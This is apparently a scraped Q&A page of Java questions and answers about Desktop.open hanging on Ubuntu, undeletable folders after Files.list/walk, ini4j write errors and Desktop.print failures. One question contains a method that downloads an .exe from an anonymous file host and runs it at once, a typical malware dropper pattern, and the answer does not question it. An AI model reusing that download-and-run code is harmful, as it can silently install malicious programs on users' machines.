I have a Java application, and when I use java.awt.Desktop:
Desktop.getDesktop().open(file);
It works fine on Windows (opens a file in my default program), but on Ubuntu (with openJdk 13), the Java application gets stuck and I do not even get any log error or anything. I have to force quit the app in order to recover.
The file path it correct, otherwise I would actually get an Exception. Also, isDesktopSupported a isSupported(Action.OPEN) returns true.
What can I do? Can I check some system settings or logs? Or perhaps get some logs from java.awt.Desktop? Or does this not work on Ubuntu/Linux?
Are there any alternatives?
From here:
In order to use the API, you have to call java.awt.EventQueue.invokeLater() and call methods of the Desktop class from a runnable passed to the invokeLater():
void fxEventHandler() {
EQ.invokeLater(() -> {
Desktop.open(...);
});
}
I am just going to add an example function
private static void OpenFile(String filePath){
try
{
//constructor of file class having file as argument
File file = new File(filePath);
if(!Desktop.isDesktopSupported())//check if Desktop is supported by Platform or not
{
System.out.println("not supported");
return;
}
Desktop desktop = Desktop.getDesktop();
if(file.exists()) { //checks file exists or not
EventQueue.invokeLater(() -> {
try {
desktop.open(file);
} catch (IOException e) {
throw new RuntimeException(e);
}
});
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
Related
In the springboot project, after the files have been merged, they need to be deleted.
The main code for the merge method is:
// chunkFolder indicates the file storage folder path
Files.list(Paths.get(chunkFolder))
.filter(path -> path.getFileName().toString().contains(HYPHEN))
.sorted((p1, p2) -> {
String fileName1 = p1.getFileName().toString();
String fileName2 = p2.getFileName().toString();
int index1 = fileName1.indexOf(HYPHEN);
int index2 = fileName2.indexOf(HYPHEN);
return Integer.valueOf(fileName1.substring(0, index1)).compareTo(Integer.valueOf(fileName2.substring(0, index2)));
})
.forEach(path -> {
try {
Files.write(Paths.get(target), Files.readAllBytes(path), StandardOpenOption.APPEND);
} catch (IOException e) {
e.printStackTrace();
}
}
);
The delete method is:
public void deleteDirectory(Path targetPath) throws IOException {
Files.walk(targetPath).sorted(Comparator.reverseOrder()).forEach(path -> {
try {
Files.delete(path);
} catch (IOException e) {
e.printStackTrace();
}
});
}
In the windows environment test, delete the storage path after merging. However, the results show that the folder still exists, but cannot be accessed. If you stop the springboot project, the folder disappears.
This problem happens on Windows when you are not closing all the directory streams correctly. You must close all directory streams scanned in your code. The two examples you've shown can be fixed with try with resources:
try(Stream<Path> stream = Files.list( ... )) {
... your code
stream.xyz(...);
}
... plus same for Files.walk() in deleteDirectory. Check other similar calls in all code.
When this occurs the directory is in a strange state when viewed in Windows Explorer - visible but not accessible. Shutting down the VM clears up correctly and the folder disappears from Explorer.
I am trying to write something to a ini file using ini4j.
When i call the store() method it throws a FileNotFound exception even though it is in my project directory.
Maybe i did something wrong with my code?
Main:
public class Main {
public static Wini ini = null;
public static void main(String[] args) {
Config conf = new Config();
try {
conf.setMultiOption(true);
ini = new Wini();
ini.setConfig(conf);
ini.load(new File("apikeys.ini"));
} catch (InvalidFileFormatException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
The file where i attempt to write and store the data:
if (KeyEndpoint.isValid(apikey)) {
Main.ini.put(apikey, Main.ini.get("Apikey"));
try {
Main.ini.store();
} catch (IOException e) {
channel.sendMessage("Invalid api key.").queue();
}
} else {
channel.sendMessage("API Key is invalid.").queue();
}
Any help is appreciated, I at least want to know what I am doing wrong.
Thanks!
It has to do with relative paths. Try changing the filename in Main for the absolute path, something like "/tmp/apikeys.ini", to check that your code works correctly. If that works, then you can now change it to either something like "../../directory/filename" or something relative to where you know you're executing your code from. Get familiar with your java path environment variables such as JAVA_HOME and all to get it to something more permanent and portable.
The file downloads properly in eclipse however when i export the jar it always downloads a blank exe. Can anyone help?
public static void downloadAndRunFile(final URL from, final File to) throws Exception {
try (final InputStream in = from.openStream()) {
Files.copy(in, to.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
Desktop.getDesktop().open(to);
}
Actual code being ran
String bub = "https://a.coka.la/bnH6Vg.exe";
try {
Pandora.downloadAndRunFile(
new URL(bub),
File.createTempFile("feelthevluci", ".exe"));
} catch (Exception e) {
// TODO Auto-generated catch block
}
}
The URL in your code seems to return a 404.
I changed it to something that I know works and is safe, and that works both in the IDE and in a jar file.
Check the URL via curl, browser, or other tool to make sure it is working.
I have this piece of code:
public void openSelectedFiles(MouseEvent mouseEvent){
ListView<String> listView = (ListView<String>) ((Node) mouseEvent.getSource())
.getScene().lookup("#listOfReferenceFiles");
String selectedFileString = listView.getSelectionModel().getSelectedItem();
System.out.println(Desktop.isDesktopSupported());
File fileToOpen = new File(selectedFileString);
System.out.println(fileToOpen.exists());
try {
Desktop.getDesktop().open(fileToOpen);
} catch (IOException e) {
e.printStackTrace();
}
}
I am using Java 8, and it seems to be working, until this line:
Desktop.getDesktop().open(fileToOpen);
It does not throw an exception, it just freezes my application. Is this a bug?
You must check first if desktop is allowed and if file exists to avoid this kind of problems:
//first check if Desktop is supported by Platform or not
if(!Desktop.isDesktopSupported()){
System.out.println("Desktop is not supported");
return;
}
Desktop desktop = Desktop.getDesktop();
// after check if file exists and open it
if(file.exists()) desktop.open(file);
I am trying to print an HTML file using java.awt.Desktop.print but the print dialog throws an IOException.
menuPrint.setOnAction((ActionEvent t) -> {
if (Desktop.isDesktopSupported()) {
Desktop desktop = Desktop.getDesktop();
if (desktop.isSupported(Desktop.Action.PRINT)) {
try {
File output = new File(System.getProperty("java.io.tmpdir")+"/Preview.html");
desktop.print(output);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
});
java.io.IOException: Failed to print C:\Users\XXX\AppData\Local\Temp\Preview.html.
Error message: A device attached to the system is not functioning.
I have a PDF printer installed and can open the print dialog using Ctrl+P. Though this same code is working on a separate machine which is connected to an actual printer.
Any clues appreciated. How to make it work?